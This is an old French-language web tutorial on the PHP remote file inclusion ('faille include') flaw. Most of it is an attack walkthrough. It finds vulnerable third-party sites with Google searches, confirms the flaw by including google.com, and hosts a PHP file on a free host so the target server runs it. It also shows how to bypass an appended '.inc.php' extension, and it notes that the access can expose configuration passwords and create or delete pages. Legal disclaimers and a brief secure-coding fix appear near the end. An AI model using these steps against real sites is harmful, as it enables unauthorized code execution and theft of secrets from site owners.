 Votez pour ce site au Weborama
|
> tutoriel > faille include (php)
1) Description : La faille include d'un site fait en php et du à un
manque de vigilance du webmaster qui a créé ce site. En effet,
il y a faille lorsque la fonction php include() est donné avec comme
parametre (nom d'un fichier) une variable :
<?
include("$page");
?>
Cette fonction est utilisé dans la plus part des cas pour inclure du
texte dans les cadres d'un site, souvent dans l'index, le nom de la page à
inclure est donné lors d'un click sur un lien, on verra alors dans la
barre d'adresse du navigateur : www.le_site.net/index.php?page=contact.htm
Ici la page à inclure est la page contact.htm
La page contact est ici en htm, mais elle peut être en n'importe quel
format (txt, php, ...)
2) Trouver un site présentant cette faille :
Rien de plus simple, faire appel à notre allier google avec comme mot
de recherche
index.php?page=
ou index.php?url=
etc... différent nom de variable sont à tester.
3) Tester l'existance de cette faille :
Voila, vous venez de faire votre recherche sur google, vous avez plein de site,
vous voulez maintenant savoir si ce site peut être hacké par cette
faille.
Premier test, tenter d'inclure google dans la page, aller sur le site, et rajoutez
à l'url :
(toujours avec la variable $page, mais si vous avez une autre, adaptez en conséquence)
www.le_site.net/index.php?page=http://www.google.com
Faites entrer, et si vous voyez google s'afficher dans le site c'est qu'il
y a de grande chance que la faille soit exploitable.
Continuons avec Google qui c'est affiché, on verra après les
différent moyen de protection à contourner.
Maintenant, nous allons éxécuter du code php sur le server grace
à cette faille. Car la fonction include() execute tout code php se trouvant
sur le page inclu comme si la page etait partie intégrante du fichier
d'origine.
Ouvrez un compte avec hébergement (ex: voila) pour héberger la
page que vous allez creer.
Dans le fichier que l'on va nommer faille.txt, écrivez ce code php qui
aurais comme but d'afficher une alerte en script confirmant qu'il y a bien le
faille :
<?
echo "<script>alert('faille présente')</script>";
?>
echo""; est une fonction php d'affichage (de la source de la page
que vous voyez à l'ecran)
enregistrez votre fichier et uploadez le sur votre hebergement.
retournez sur le site en question et testons la faille en prenant comme exemple
un hebergement chez Voila :
www.le_site.net/index.php?page=http://site.voila.fr/votre_compte/faille.txt
L'affichage du message d'alerte "faille présente" vous confirme
la présence de la faille.
Vous pouvez à partir de la afficher la source des pages php (interressant
pour les pages de configuration avec mdp) creer des pages, en supprimer, enfin
tous ce que le langage php sait faire.
Je ne pousserais pas les exemple aussi loin car je ne cautionne pas vos bétise.
Faites comme moi, à partir du moment où vous avez confirmation
de la faille, envoyez un mail au webmaster, qui ne manquera pas de vous remerciez
pour votre geste de sympathie.
Sachez que dépassez le stade de l'affichage du message d'alerte et légale
interdit, il y a alors pénétration dans un système avec
les peines qui vont avec.
Les webmasters peuvent vous retrouvez assez facilement si vous êtes imprudent.
4) Le test avec google n'a pas marché :
ou la page d'accueil s'est affiché correctement : il y a rien a faire,
le webmaster connais sont boulot
ou vous avez eu un message d'erreur qui est alors utile de décoder :
exemple de message d'erreur :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not
known in /var/www/le_site/index.php on line 23 Warning: Failed opening 'http://www.google.com.inc.php'
for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php
on line 23
On comprend ici les raison de cette erreur, nous voyons que le code a essayé
d'inclure http://www.google.com.inc.php
(faille opening) Comme ce n'est pas nous qui avons mis .inc.php à la
fin de l'adresse, cela a été rajouté par le script.
En donnant l'adresse de notre fichier faille.txt, il se serais passé
la meme chose car il aurais voulu inclure faille.txt.inc.php
Pour contourner ceci,nous allons renommer notre fichier faille.txt en faille.inc.php
et nous donnerons comme adresse
www.le_site.net/index.php?page=http://site.voila.fr/faille
attention : sans les extensions car elles seront rajoutées par le script.
le script inclura faille + .inc.php
et bingo!
Cette exemple marche sous un hébergement chez voila ainsi que les hébergement
n'acceptant pas le php, si vous hébergez avec Free avec le php activé,
la page faille.inc.php sera executé sur free et non pas sur le server
de destination. Pensez-y.
2eme message d'erreur possible :
Warning: php_network_getaddresses: getaddrinfo failed: Name or service not
known in /var/www/le_site/index.php on line 23 Warning: Failed opening '/mes_pages/http://www.google.com'
for inclusion (include_path='.:/usr/share/pear') in /var/www/le_site/index.php
on line 23
Nous constatons ici que le script inclue les pages du dossier mes_pages nous
ne pouvons donc pas spécifier d'adresse exterieur.
Après ces bases, vous devez bien connaitre le langage php pour contourner
d'autre protection et étendre la possibilité d'action a partir
de cette faille.
5) Sécuriser la fonction include sur notre site :
2 sécurités simples à additionner suffise :
remplacez
<?
include("$page");
?>
par :
<?
if(file_exists("notre_dossier/$page.htm"))include("notre_dossier/$page.htm");
else{
include("notre_dossier/accueil.htm"); }
?>
Nous vérifions l'éxistance du fichier dans notre dossier, nous
l'incluons si il existe, a défault nous affichons la page d'accueil.
Le hacker ne voit pas de message d'erreur, donc ne connais pas la protection
à contourner.
J'espere avoir bien expliqué!
aurtografe poowwwaaaaaa
©chapo horslimite.net
|